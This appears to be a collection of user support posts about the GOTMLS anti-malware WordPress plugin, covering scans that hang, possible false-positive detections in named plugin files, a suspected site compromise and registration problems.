Hi Team,

At 99%, the scanner re-scans the database, and then our website does not load.

Please look into it urgently.

Like the title says the Icegram plugin is getting marked with this:

Known Threats
…/wp-content/plugins/email-subscribers/lite/admin/js/editor.js

but from everything I’ve seen Icegram is a reputable company. So hoping its a false positive.

Found 1?Known Threat:

wp-content/plugins/git-updater/vendor/afragen/wp-dependency-installer/wp-dependency-installer.php

Link to code:

https://github.com/afragen/git-updater

Hi there – We found what might be a false positive in a file in s3 Media Maestro (/s3-media-maestro/vendor/aws/aws-crt-php/gen_stub.php). The file hasn’t been updated since May and we’ve run scans since then where it didn’t show (just started showing today). The file has 1999 lines but at the top we see this:
// This is a copy of the gen_stub.php from the PHP build scripts, modified to
// generate macros that we can abstract across versions of PHP

The plugin itself works with WP Courseware to connect to our clients AWS S3 to post video files to WP Courseware pages.

Would be happy to send file or post full file if you need.

Thanks

Hello, I need some help, please. My website has been crashing often so I contacted Blue Host. They scanned my website and located infected files. Also, I found out that my first and last name on the Personal Options page on WP changed to someone else I don’t know… So, I downloaded your plugin (anti-malware GOTMLS) to locate and clean the malware. However, the scan did not locate anything. The only thing it showed was 5 read errors (not sure what this means; I am not a IT person). I am sure there are infected files because the Blue Host scan showed it and may website is constantly having several problems… what can be done? I would appreciate the help!

Also, just to better explain, when I installed the plugin, I started a scan without registering. It immediately started locating a bunch of things showing in red. However, while it was scanning, I watched a Youtube tutorial that advised me to register to update the plugin before scanning. So, I stopped the scan, registered, updated, and started scanning again…. then all the red files that were showing immediately were not showing any longer… not sure what happened. So, I feel I need some help because I am pretty sure I have infected files. Thank you!!!

Hi,
I have registered on your site. Got the confirmation email as well. Registered..
Made a donation as well to get the latest defination. Yet I don’t see plugin activated.

registered email: [email protected]

Please help